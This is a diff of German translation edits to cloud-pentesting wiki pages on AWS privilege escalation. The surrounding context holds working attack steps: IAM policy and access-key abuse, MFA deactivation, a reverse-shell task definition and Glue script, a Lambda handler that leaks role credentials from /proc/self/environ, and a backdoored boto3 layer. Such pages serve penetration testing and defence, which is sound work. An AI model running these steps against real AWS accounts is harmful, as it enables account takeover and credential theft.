aws ecs register-task-definition --family iam_exfiltration \
@@ -97,7 +97,7 @@ aws ecs run-task \
### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
Dieses Szenario ist wie die vorherigen, aber **ohne** die **`iam:PassRole`** Berechtigung.\
-Das ist immer noch interessant, denn wenn Sie einen beliebigen Container ausführen können, selbst wenn es ohne eine Rolle ist, könnten Sie **einen privilegierten Container ausführen, um** zum Knoten zu entkommen und **die EC2 IAM-Rolle** sowie die **anderen ECS-Containerrollen** zu stehlen, die im Knoten laufen.\
+Das ist immer noch interessant, denn wenn Sie einen beliebigen Container ausführen können, auch wenn es ohne Rolle ist, könnten Sie **einen privilegierten Container ausführen, um** zum Knoten zu entkommen und **die EC2 IAM-Rolle** sowie die **anderen ECS-Containerrollen** zu stehlen, die im Knoten ausgeführt werden.\
Sie könnten sogar **andere Aufgaben zwingen, innerhalb der EC2-Instanz** zu laufen, die Sie kompromittieren, um deren Anmeldeinformationen zu stehlen (wie im [**Privesc zu Knoten Abschnitt**](aws-ecs-privesc.md#privesc-to-node) besprochen).
> [!WARNING]
@@ -178,7 +178,7 @@ Du kannst **Beispiele für diese Optionen** in **früheren ECS privesc Abschnitt
### `ssm:StartSession`
-Überprüfe auf der **ssm privesc Seite**, wie du diese Berechtigung missbrauchen kannst, um **privesc zu ECS**:
+Überprüfe auf der **ssm privesc Seite**, wie du diese Berechtigung ausnutzen kannst, um **privesc zu ECS** zu erreichen:
{{#ref}}
aws-ssm-privesc.md
@@ -186,7 +186,7 @@ aws-ssm-privesc.md
### `iam:PassRole`, `ec2:RunInstances`
-Überprüfe auf der **ec2 privesc Seite**, wie du diese Berechtigungen missbrauchen kannst, um **privesc zu ECS**:
+Überprüfe auf der **ec2 privesc Seite**, wie du diese Berechtigungen ausnutzen kannst, um **privesc zu ECS** zu erreichen:
{{#ref}}
aws-ec2-privesc.md
@@ -201,7 +201,7 @@ TODO: Ist es möglich, eine Instanz aus einem anderen AWS-Konto zu registrieren,
> [!NOTE]
> TODO: Teste dies
-Ein Angreifer mit den Berechtigungen `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet` und `ecs:DescribeTaskSets` kann **ein bösartiges Task-Set für einen bestehenden ECS-Dienst erstellen und das primäre Task-Set aktualisieren**. Dies ermöglicht es dem Angreifer, **willkürlichen Code innerhalb des Dienstes auszuführen**.
+Ein Angreifer mit den Berechtigungen `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet` und `ecs:DescribeTaskSets` kann **ein bösartiges Task-Set für einen bestehenden ECS-Dienst erstellen und das primäre Task-Set aktualisieren**. Dies ermöglicht es dem Angreifer, **beliebigen Code innerhalb des Dienstes auszuführen**.
```bash
bashCopy code# Register a task definition with a reverse shell
echo '{
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md
index 91e6e62ee..4d779ed25 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md
@@ -10,11 +10,11 @@ Mehr **Info über EFS** in:
../aws-services/aws-efs-enum.md
{{#endref}}
-Denken Sie daran, dass Sie, um ein EFS zu mounten, sich in einem Subnetz befinden müssen, in dem das EFS exponiert ist, und Zugang dazu haben müssen (Sicherheitsgruppen). Wenn dies der Fall ist, können Sie es standardmäßig immer mounten. Wenn es jedoch durch IAM-Richtlinien geschützt ist, benötigen Sie die hier genannten zusätzlichen Berechtigungen, um darauf zuzugreifen.
+Denken Sie daran, dass Sie, um ein EFS zu mounten, sich in einem Subnetz befinden müssen, in dem das EFS exponiert ist, und Zugriff darauf haben müssen (Sicherheitsgruppen). Wenn dies der Fall ist, können Sie es standardmäßig immer mounten. Wenn es jedoch durch IAM-Richtlinien geschützt ist, benötigen Sie die hier genannten zusätzlichen Berechtigungen, um darauf zuzugreifen.
### `elasticfilesystem:DeleteFileSystemPolicy`|`elasticfilesystem:PutFileSystemPolicy`
-Mit einer dieser Berechtigungen kann ein Angreifer **die Dateisystemrichtlinie ändern**, um **Ihnen Zugang** zu gewähren oder sie einfach **zu löschen**, sodass der **Standardzugang** gewährt wird.
+Mit einer dieser Berechtigungen kann ein Angreifer **die Dateisystemrichtlinie ändern**, um **Ihnen Zugriff** darauf zu gewähren, oder sie einfach **löschen**, sodass der **Standardzugriff** gewährt wird.
Um die Richtlinie zu löschen:
```bash
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md
index 9cef9f57c..1f572a88e 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md
@@ -15,7 +15,7 @@ Mehr **Info über Elastic Beanstalk** in:
### `elasticbeanstalk:RebuildEnvironment`, S3 Schreibberechtigungen & viele andere
-Mit **Schreibberechtigungen für den S3-Bucket**, der den **Code** der Umgebung enthält, und Berechtigungen zum **Wiederherstellen** der Anwendung (es werden `elasticbeanstalk:RebuildEnvironment` und einige weitere, die mit `S3`, `EC2` und `Cloudformation` zusammenhängen, benötigt), können Sie den **Code** **ändern**, die App **neu erstellen** und beim nächsten Zugriff auf die App wird sie **Ihren neuen Code ausführen**, was es dem Angreifer ermöglicht, die Anwendung und die IAM-Rollenanmeldeinformationen zu kompromittieren.
+Mit **Schreibberechtigungen für den S3-Bucket**, der den **Code** der Umgebung enthält, und Berechtigungen zum **Wiederherstellen** der Anwendung (es werden `elasticbeanstalk:RebuildEnvironment` und einige weitere, die sich auf `S3`, `EC2` und `Cloudformation` beziehen, benötigt), können Sie den **Code** **modifizieren**, die App **neu erstellen** und beim nächsten Zugriff auf die App wird sie **Ihren neuen Code ausführen**, was dem Angreifer ermöglicht, die Anwendung und die IAM-Rollenanmeldeinformationen zu kompromittieren.
```bash
# Create folder
mkdir elasticbeanstalk-eu-west-1-947247140022
@@ -111,7 +111,7 @@ Werkzeug==1.0.1
{{#endtab }}
{{#endtabs }}
-Sobald Sie **Ihre eigene Beanstalk-Umgebung** mit Ihrer Rev-Shell ausführen, ist es Zeit, sie in die **Umgebung des Opfers** zu **migrieren**. Dazu müssen Sie die **Bucket-Richtlinie** Ihres Beanstalk-S3-Buckets **aktualisieren**, damit das **Opfer darauf zugreifen kann** (Bitte beachten Sie, dass dies den Bucket für **ALLE** **öffnet**):
+Sobald Sie **Ihre eigene Beanstalk-Umgebung** mit Ihrer Rev-Shell ausführen, ist es Zeit, sie in die **Umgebung des Opfers** zu **migrieren**. Dazu müssen Sie die **Bucket-Richtlinie** Ihres Beanstalk-S3-Buckets **aktualisieren**, damit das **Opfer darauf zugreifen kann** (Bitte beachten Sie, dass dies den Bucket für **JEDEN** **öffnet**):
```json
{
"Version": "2008-10-17",
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md
index 0113cf51f..65d562f55 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md
@@ -13,7 +13,7 @@ Mehr **Info über EMR** in:
### `iam:PassRole`, `elasticmapreduce:RunJobFlow`
Ein Angreifer mit diesen Berechtigungen kann **ein neues EMR-Cluster erstellen, indem er EC2-Rollen anfügt** und versuchen, dessen Anmeldeinformationen zu stehlen.\
-Beachten Sie, dass Sie dazu **einen SSH-Privatschlüssel, der im Konto importiert wurde, kennen** oder einen importieren müssen und in der Lage sein sollten, **Port 22 im Master-Knoten zu öffnen** (Sie könnten dies mit den Attributen `EmrManagedMasterSecurityGroup` und/oder `ServiceAccessSecurityGroup` innerhalb von `--ec2-attributes` tun).
+Beachten Sie, dass Sie dazu **einige SSH-Privatschlüssel, die im Konto importiert wurden, kennen oder einen importieren müssen** und in der Lage sein müssen, **Port 22 im Master-Knoten zu öffnen** (Sie könnten dies mit den Attributen `EmrManagedMasterSecurityGroup` und/oder `ServiceAccessSecurityGroup` innerhalb von `--ec2-attributes` tun).
```bash
# Import EC2 ssh key (you will need extra permissions for this)
ssh-keygen -b 2048 -t rsa -f /tmp/sshkey -q -N ""
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md
index 2a7347391..ad45626cb 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md
@@ -4,12 +4,12 @@
### `gamelift:RequestUploadCredentials`
-Mit dieser Berechtigung kann ein Angreifer ein **neues Set von Anmeldeinformationen abrufen, das beim Hochladen** eines neuen Satzes von Spiel-Build-Dateien zu Amazon GameLift's Amazon S3 verwendet wird. Es gibt **S3-Hochladeanmeldeinformationen** zurück.
+Mit dieser Berechtigung kann ein Angreifer ein **neues Set von Anmeldeinformationen abrufen, das beim Hochladen** eines neuen Satzes von Spiel-Build-Dateien zu Amazon GameLift's Amazon S3 verwendet wird. Es wird **S3-Hochladeanmeldeinformationen** zurückgegeben.
```bash
aws gamelift request-upload-credentials \
--build-id build-a1b2c3d4-5678-90ab-cdef-EXAMPLE11111
```
-## References
+## Referenzen
- [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a)
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md
index 951db2cec..d8b68bbe5 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md
@@ -6,7 +6,7 @@
### `iam:PassRole`, `glue:CreateDevEndpoint`, (`glue:GetDevEndpoint` | `glue:GetDevEndpoints`)
-Benutzer mit diesen Berechtigungen können **einen neuen AWS Glue-Entwicklungspunkt einrichten**, **indem sie eine vorhandene Dienstrolle zuweisen, die von Glue mit spezifischen Berechtigungen übernommen werden kann**.
+Benutzer mit diesen Berechtigungen können **einen neuen AWS Glue-Entwicklungsendpunkt einrichten**, **einen vorhandenen Dienstrolle, die von Glue übernommen werden kann**, mit spezifischen Berechtigungen diesem Endpunkt zuweisen.
Nach der Einrichtung kann der **Angreifer per SSH auf die Instanz des Endpunkts zugreifen** und die IAM-Anmeldeinformationen der zugewiesenen Rolle stehlen:
```bash
@@ -24,11 +24,11 @@ ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com
```
Für Stealth-Zwecke wird empfohlen, die IAM-Anmeldeinformationen von innerhalb der Glue-virtuellen Maschine zu verwenden.
-**Potenzielle Auswirkungen:** Privilegieneskalation auf die angegebene Glue-Dienstrolle.
+**Potenzielle Auswirkungen:** Privesc auf die angegebene Glue-Service-Rolle.
### `glue:UpdateDevEndpoint`, (`glue:GetDevEndpoint` | `glue:GetDevEndpoints`)
-Benutzer mit dieser Berechtigung können **den SSH-Schlüssel eines bestehenden Glue-Entwicklung** Endpunkts ändern, **was den SSH-Zugriff darauf ermöglicht**. Dies erlaubt dem Angreifer, Befehle mit den Rechten der angehängten Rolle des Endpunkts auszuführen:
+Benutzer mit dieser Berechtigung können **den SSH-Schlüssel eines bestehenden Glue-Entwicklung** Endpunkts ändern, **was den SSH-Zugriff darauf ermöglicht**. Dies erlaubt dem Angreifer, Befehle mit den Berechtigungen der angehängten Rolle des Endpunkts auszuführen:
```bash
# Change public key to connect
aws glue --endpoint-name target_endpoint \
@@ -45,7 +45,7 @@ ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com
### `iam:PassRole`, (`glue:CreateJob` | `glue:UpdateJob`), (`glue:StartJobRun` | `glue:CreateTrigger`)
-Benutzer mit **`iam:PassRole`** in Kombination mit entweder **`glue:CreateJob` oder `glue:UpdateJob`**, und entweder **`glue:StartJobRun` oder `glue:CreateTrigger`** können **einen AWS Glue-Job erstellen oder aktualisieren**, indem sie ein beliebiges **Glue-Service-Konto** anhängen und die Ausführung des Jobs initiieren. Die Fähigkeiten des Jobs umfassen das Ausführen beliebigen Python-Codes, der ausgenutzt werden kann, um eine Reverse-Shell einzurichten. Diese Reverse-Shell kann dann verwendet werden, um die **IAM-Anmeldeinformationen** der an den Glue-Job angehängten Rolle zu exfiltrieren, was zu potenziellem unbefugtem Zugriff oder Aktionen basierend auf den Berechtigungen dieser Rolle führen kann:
+Benutzer mit **`iam:PassRole`** in Kombination mit entweder **`glue:CreateJob` oder `glue:UpdateJob`**, und entweder **`glue:StartJobRun` oder `glue:CreateTrigger`** können **ein AWS Glue-Job erstellen oder aktualisieren**, indem sie ein beliebiges **Glue-Service-Konto** anhängen und die Ausführung des Jobs initiieren. Die Fähigkeiten des Jobs umfassen das Ausführen beliebigen Python-Codes, der ausgenutzt werden kann, um eine Reverse-Shell einzurichten. Diese Reverse-Shell kann dann verwendet werden, um die **IAM-Anmeldeinformationen** der Rolle, die an den Glue-Job angehängt ist, zu exfiltrieren, was zu potenziellem unbefugtem Zugriff oder Aktionen basierend auf den Berechtigungen dieser Rolle führen kann:
```bash
# Content of the python script saved in s3:
#import socket,subprocess,os
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md
index a8503ba80..1a0bfbeff 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md
@@ -19,11 +19,11 @@ Ermöglicht das Erstellen einer neuen IAM-Policy-Version, wobei die Notwendigkei
aws iam create-policy-version --policy-arn \
--policy-document file:///path/to/administrator/policy.json --set-as-default
```
-**Auswirkung:** Eskaliert direkt die Berechtigungen, indem jede Aktion auf jede Ressource erlaubt wird.
+**Auswirkungen:** Eskaliert direkt die Berechtigungen, indem jede Aktion auf jede Ressource erlaubt wird.
### **`iam:SetDefaultPolicyVersion`**
-Erlaubt das Ändern der Standardversion einer IAM-Richtlinie auf eine andere vorhandene Version, was potenziell die Berechtigungen eskalieren kann, wenn die neue Version mehr Berechtigungen hat.
+Erlaubt das Ändern der Standardversion einer IAM-Richtlinie in eine andere vorhandene Version, was potenziell die Berechtigungen eskalieren kann, wenn die neue Version mehr Berechtigungen hat.
**Bash-Befehl:**
```bash
@@ -39,7 +39,7 @@ Ermöglicht das Erstellen einer Zugriffs-Schlüssel-ID und eines geheimen Zugrif
```bash
aws iam create-access-key --user-name
```
-**Auswirkung:** Direkte Privilegieneskalation durch Übernahme der erweiterten Berechtigungen eines anderen Benutzers.
+**Auswirkungen:** Direkte Privilegieneskalation durch Übernahme der erweiterten Berechtigungen eines anderen Benutzers.
### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`**
@@ -79,17 +79,17 @@ aws iam create-service-specific-credential --user-name --service-name
```bash
aws iam reset-service-specific-credential --service-specific-credential-id
```
-**Auswirkung:** Direkte Privilegieneskalation innerhalb der Dienstberechtigungen des Benutzers.
+**Auswirkungen:** Direkte Privilegieneskalation innerhalb der Dienstberechtigungen des Benutzers.
### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`**
-Erlaubt das Anhängen von Richtlinien an Benutzer oder Gruppen, wodurch Privilegien direkt eskaliert werden, indem die Berechtigungen der angehängten Richtlinie geerbt werden.
+Erlaubt das Anhängen von Richtlinien an Benutzer oder Gruppen, wodurch Privilegien direkt durch das Erben der Berechtigungen der angehängten Richtlinie eskaliert werden.
**Ausnutzung für Benutzer:**
```bash
aws iam attach-user-policy --user-name --policy-arn ""
```
-**Ausnutzung für Gruppe:**
+**Exploits für Gruppen:**
```bash
aws iam attach-group-policy --group-name --policy-arn ""
```
@@ -103,7 +103,7 @@ Erlaubt das Anhängen oder Setzen von Richtlinien an Rollen, Benutzer oder Grupp
```bash
aws iam attach-role-policy --role-name --policy-arn ""
```
-**Exploits für Inline-Richtlinien:**
+**Ausnutzung von Inline-Richtlinien:**
```bash
aws iam put-user-policy --user-name --policy-name "" \
--policy-document "file:///path/to/policy.json"
@@ -127,11 +127,11 @@ Sie können eine Richtlinie wie folgt verwenden:
]
}
```
-**Auswirkungen:** Direkte Privilegieneskalation durch das Hinzufügen von Berechtigungen über Richtlinien.
+**Auswirkung:** Direkte Privilegieneskalation durch das Hinzufügen von Berechtigungen über Richtlinien.
### **`iam:AddUserToGroup`**
-Ermöglicht es, sich selbst zu einer IAM-Gruppe hinzuzufügen und Privilegien durch das Erben der Berechtigungen der Gruppe zu eskalieren.
+Ermöglicht das Hinzufügen von sich selbst zu einer IAM-Gruppe, wodurch Privilegien durch das Erben der Berechtigungen der Gruppe eskaliert werden.
**Ausnutzen:**
```bash
@@ -169,11 +169,11 @@ Wo die Richtlinie wie folgt aussieht, die dem Benutzer die Berechtigung gibt, di
Erlaubt das Hochladen eines SSH-Öffentlichen Schlüssels zur Authentifizierung bei CodeCommit und das Deaktivieren von MFA-Geräten, was zu einer potenziellen indirekten Privilegieneskalation führen kann.
-**Ausnutzen des SSH-Schlüssel-Uploads:**
+**Ausnutzung für das Hochladen des SSH-Schlüssels:**
```bash
aws iam upload-ssh-public-key --user-name --ssh-public-key-body
```
-**Exploit für MFA-Deaktivierung:**
+**Exploits für die Deaktivierung von MFA:**
```bash
aws iam deactivate-mfa-device --user-name --serial-number
```
@@ -181,7 +181,7 @@ aws iam deactivate-mfa-device --user-name --serial-number --serial-number
### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`)
-Mit diesen Berechtigungen können Sie **die XML-Metadaten der SAML-Verbindung ändern**. Dann könnten Sie die **SAML-Föderation** missbrauchen, um sich mit **irgendeiner Rolle, die ihr vertraut**, **einzuloggen**.
+Mit diesen Berechtigungen können Sie **die XML-Metadaten der SAML-Verbindung ändern**. Dann könnten Sie die **SAML-Föderation** missbrauchen, um sich mit jeder **Rolle, die ihr vertraut**, **einzuloggen**.
-Beachten Sie, dass legitime Benutzer sich dabei **nicht einloggen können**. Sie könnten jedoch die XML erhalten, sodass Sie Ihre eigene einfügen, sich einloggen und die vorherige Konfiguration zurücksetzen können.
+Beachten Sie, dass legitime Benutzer sich dabei **nicht einloggen können**. Sie könnten jedoch die XML erhalten, sodass Sie Ihre eigene einfügen, sich einloggen und die vorherige Konfiguration wiederherstellen können.
```bash
# List SAMLs
aws iam list-saml-providers
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md
index b2aa0c9a6..cfbc04358 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md
@@ -70,7 +70,7 @@ aws kms generate-data-key \
–-key-spec AES_256 \
--grant-tokens $token
```
-Beachten Sie, dass es möglich ist, die Berechtigungen von Schlüsseln mit aufzulisten:
+Beachten Sie, dass es möglich ist, die Berechtigungen von Schlüsseln mit folgendem Befehl aufzulisten:
```bash
aws kms list-grants --key-id
```
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md
index 7903dc27e..4e55f0a09 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md
@@ -58,7 +58,7 @@ PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return response
```
-Es ist auch möglich, die Anmeldeinformationen der Rolle der Lambda zu leaken, ohne eine externe Verbindung zu benötigen. Dies wäre nützlich für **Netzwerkisolierte Lambdas**, die für interne Aufgaben verwendet werden. Wenn unbekannte Sicherheitsgruppen Ihre Reverse-Shells filtern, ermöglicht Ihnen dieses Stück Code, die Anmeldeinformationen direkt als Ausgabe der Lambda zu leaken.
+Es ist auch möglich, die Anmeldeinformationen der Rolle der Lambda-Funktion zu leaken, ohne eine externe Verbindung zu benötigen. Dies wäre nützlich für **netzwerkisolierte Lambdas**, die für interne Aufgaben verwendet werden. Wenn unbekannte Sicherheitsgruppen Ihre Reverse-Shells filtern, ermöglicht Ihnen dieses Stück Code, die Anmeldeinformationen direkt als Ausgabe der Lambda-Funktion zu leaken.
```python
def handler(event, context):
sessiontoken = open('/proc/self/environ', "r").read()
@@ -75,11 +75,11 @@ cat output.txt
**Potenzielle Auswirkungen:** Direkte Privilegieneskalation auf die beliebige Lambda-Dienstrolle, die angegeben ist.
> [!CAUTION]
-> Beachten Sie, dass selbst wenn es interessant aussieht, **`lambda:InvokeAsync`** **nicht** allein die **Ausführung von `aws lambda invoke-async`** ermöglicht, Sie benötigen auch `lambda:InvokeFunction`.
+> Beachten Sie, dass selbst wenn es interessant aussieht, **`lambda:InvokeAsync`** **nicht** allein die **Ausführung von `aws lambda invoke-async`** erlaubt, Sie benötigen auch `lambda:InvokeFunction`.
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:AddPermission`
-Wie im vorherigen Szenario können Sie sich **die Berechtigung `lambda:InvokeFunction`** gewähren, wenn Sie die Berechtigung **`lambda:AddPermission`** haben.
+Wie im vorherigen Szenario können Sie sich die Berechtigung **`lambda:InvokeFunction`** gewähren, wenn Sie die Berechtigung **`lambda:AddPermission`** haben.
```bash
# Check the previous exploit and use the following line to grant you the invoke permissions
aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
@@ -99,7 +99,7 @@ aws lambda create-function --function-name my_function \
--handler lambda_function.lambda_handler \
--zip-file fileb://rev.zip
```
-Wenn DynamoDB bereits in der AWS-Umgebung aktiv ist, **muss der Benutzer nur die Ereignisquellenzuordnung** für die Lambda-Funktion festlegen. Wenn DynamoDB jedoch nicht verwendet wird, muss der Benutzer **eine neue Tabelle** mit aktivierten Streams **erstellen**:
+Wenn DynamoDB bereits in der AWS-Umgebung aktiv ist, muss der Benutzer nur **die Ereignisquellenzuordnung** für die Lambda-Funktion festlegen. Wenn DynamoDB jedoch nicht verwendet wird, muss der Benutzer **eine neue Tabelle** mit aktivierten Streaming erstellen:
```bash
aws dynamodb create-table --table-name my_table \
--attribute-definitions AttributeName=Test,AttributeType=S \
@@ -107,13 +107,13 @@ aws dynamodb create-table --table-name my_table \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES
```
-Jetzt ist es möglich, **die Lambda-Funktion mit der DynamoDB-Tabelle zu verbinden**, indem **eine Ereignisquellenzuordnung** erstellt wird:
+Jetzt ist es möglich, **die Lambda-Funktion mit der DynamoDB-Tabelle zu verbinden**, indem **eine Ereignisquellenzuordnung erstellt wird**:
```bash
aws lambda create-event-source-mapping --function-name my_function \
--event-source-arn \
--enabled --starting-position LATEST
```
-Mit der mit dem DynamoDB-Stream verknüpften Lambda-Funktion kann der Angreifer **indirekt die Lambda auslösen, indem er den DynamoDB-Stream aktiviert**. Dies kann erreicht werden, indem **ein Element** in die DynamoDB-Tabelle eingefügt wird:
+Mit der mit dem DynamoDB-Stream verknüpften Lambda-Funktion kann der Angreifer **indirekt die Lambda auslösen, indem er den DynamoDB-Stream aktiviert**. Dies kann erreicht werden, indem man **ein Element** in die DynamoDB-Tabelle einfügt:
```bash
aws dynamodb put-item --table-name my_table \
--item Test={S="Random string"}
@@ -122,7 +122,7 @@ aws dynamodb put-item --table-name my_table \
### `lambda:AddPermission`
-Ein Angreifer mit dieser Berechtigung kann **sich selbst (oder anderen) beliebige Berechtigungen gewähren** (dies erzeugt ressourcenbasierte Richtlinien, um den Zugriff auf die Ressource zu gewähren):
+Ein Angreifer mit dieser Berechtigung kann **sich selbst (oder anderen) beliebige Berechtigungen gewähren** (dies erzeugt ressourcenbasierte Richtlinien, um Zugriff auf die Ressource zu gewähren):
```bash
# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
aws lambda add-permission --function-name --statement-id asdasd --action '*' --principal arn:
@@ -130,7 +130,7 @@ aws lambda add-permission --function-name --statement-id asdasd --ac
# Invoke the function
aws lambda invoke --function-name /tmp/outout
```
-**Potenzielle Auswirkungen:** Direkte Privilegieneskalation zum Lambda-Dienstrolle, die verwendet wird, indem die Berechtigung zum Ändern des Codes und dessen Ausführung gewährt wird.
+**Potenzielle Auswirkungen:** Direkte Privilegieneskalation zum Lambda-Dienstrolle durch Gewährung der Berechtigung zur Modifikation des Codes und dessen Ausführung.
### `lambda:AddLayerVersionPermission`
@@ -144,7 +144,7 @@ aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statemen
### `lambda:UpdateFunctionCode`
Benutzer, die die Berechtigung **`lambda:UpdateFunctionCode`** besitzen, haben die Möglichkeit, **den Code einer bestehenden Lambda-Funktion, die mit einer IAM-Rolle verknüpft ist, zu ändern.**\
-Der Angreifer kann **den Code der Lambda ändern, um die IAM-Anmeldeinformationen zu exfiltrieren.**
+Der Angreifer kann **den Code der Lambda-Funktion ändern, um die IAM-Anmeldeinformationen zu exfiltrieren**.
Obwohl der Angreifer möglicherweise nicht die direkte Fähigkeit hat, die Funktion aufzurufen, ist es wahrscheinlich, dass die Lambda-Funktion, wenn sie bereits vorhanden und betriebsbereit ist, durch bestehende Workflows oder Ereignisse ausgelöst wird, wodurch die Ausführung des modifizierten Codes indirekt erleichtert wird.
```bash
@@ -157,7 +157,7 @@ aws lambda invoke --function-name my_function output.txt
# If not check if it's exposed in any URL or via an API gateway you could access
```
-**Potenzielle Auswirkungen:** Direkte Privilegieneskalation auf die Lambda-Dienstrolle, die verwendet wird.
+**Potenzielle Auswirkungen:** Direkte Privilegieneskalation auf die verwendete Lambda-Dienstrolle.
### `lambda:UpdateFunctionConfiguration`
@@ -185,7 +185,7 @@ import sys
def lambda_handler(event, context):
print(json.dumps(sys.path, indent=2))
```
-Diese sind die Orte:
+Dies sind die Orte:
1. /var/task
2. /opt/python/lib/python3.7/site-packages
@@ -202,7 +202,7 @@ Zum Beispiel wird die Bibliothek boto3 von `/var/runtime/boto3` geladen (4. Posi
#### Ausnutzung
-Es ist möglich, die Berechtigung `lambda:UpdateFunctionConfiguration` zu missbrauchen, um **eine neue Schicht** zu einer Lambda-Funktion **hinzuzufügen**. Um beliebigen Code auszuführen, muss diese Schicht eine **Bibliothek enthalten, die die Lambda importieren wird.** Wenn Sie den Code der Lambda lesen können, könnten Sie dies leicht finden, beachten Sie auch, dass es möglich sein könnte, dass die Lambda **bereits eine Schicht verwendet** und Sie die **Schicht herunterladen** und **Ihren Code** dort hinzufügen könnten.
+Es ist möglich, die Berechtigung `lambda:UpdateFunctionConfiguration` zu missbrauchen, um **eine neue Schicht** zu einer Lambda-Funktion hinzuzufügen. Um beliebigen Code auszuführen, muss diese Schicht eine **Bibliothek enthalten, die die Lambda importieren wird.** Wenn Sie den Code der Lambda lesen können, könnten Sie dies leicht finden, beachten Sie auch, dass es möglich sein könnte, dass die Lambda **bereits eine Schicht verwendet** und Sie die **Schicht herunterladen** und **Ihren Code** dort hinzufügen könnten.
Zum Beispiel, nehmen wir an, dass die Lambda die Bibliothek boto3 verwendet, dies wird eine lokale Schicht mit der letzten Version der Bibliothek erstellen:
```bash
@@ -211,7 +211,7 @@ pip3 install -t ./lambda_layer boto3
Sie können `./lambda_layer/boto3/__init__.py` öffnen und **die Hintertür im globalen Code hinzufügen** (eine Funktion zum Exfiltrieren von Anmeldeinformationen oder um beispielsweise eine Reverse-Shell zu erhalten).
Dann zippen Sie das `./lambda_layer` Verzeichnis und **laden die neue Lambda-Schicht** in Ihr eigenes Konto hoch (oder in das des Opfers, aber möglicherweise haben Sie dafür keine Berechtigungen).\
-Beachten Sie, dass Sie einen Python-Ordner erstellen und die Bibliotheken dort ablegen müssen, um /opt/python/boto3 zu überschreiben. Außerdem muss die Schicht **mit der Python-Version** kompatibel sein, die von der Lambda verwendet wird, und wenn Sie sie in Ihr Konto hochladen, muss sie in der **gleichen Region** sein:
+Beachten Sie, dass Sie einen Python-Ordner erstellen und die Bibliotheken dort ablegen müssen, um /opt/python/boto3 zu überschreiben. Außerdem muss die Schicht **kompatibel mit der Python-Version** sein, die von der Lambda verwendet wird, und wenn Sie sie in Ihr Konto hochladen, muss sie in der **gleichen Region** sein:
```bash
aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
```
@@ -228,9 +228,9 @@ aws lambda update-function-configuration \
--layers arn:aws:lambda:::layer:boto3:1 \
--timeout 300 #5min for rev shells
```
-Der nächste Schritt wäre, entweder **die Funktion selbst aufzurufen**, wenn wir können, oder zu warten, bis sie **auf normale Weise aufgerufen wird** – was die sicherere Methode ist.
+Der nächste Schritt wäre, entweder **die Funktion selbst aufzurufen**, wenn wir können, oder zu warten, bis sie auf normale Weise **aufgerufen wird** – was die sicherere Methode ist.
-Eine **diskretere Möglichkeit, diese Schwachstelle auszunutzen**, findet sich in:
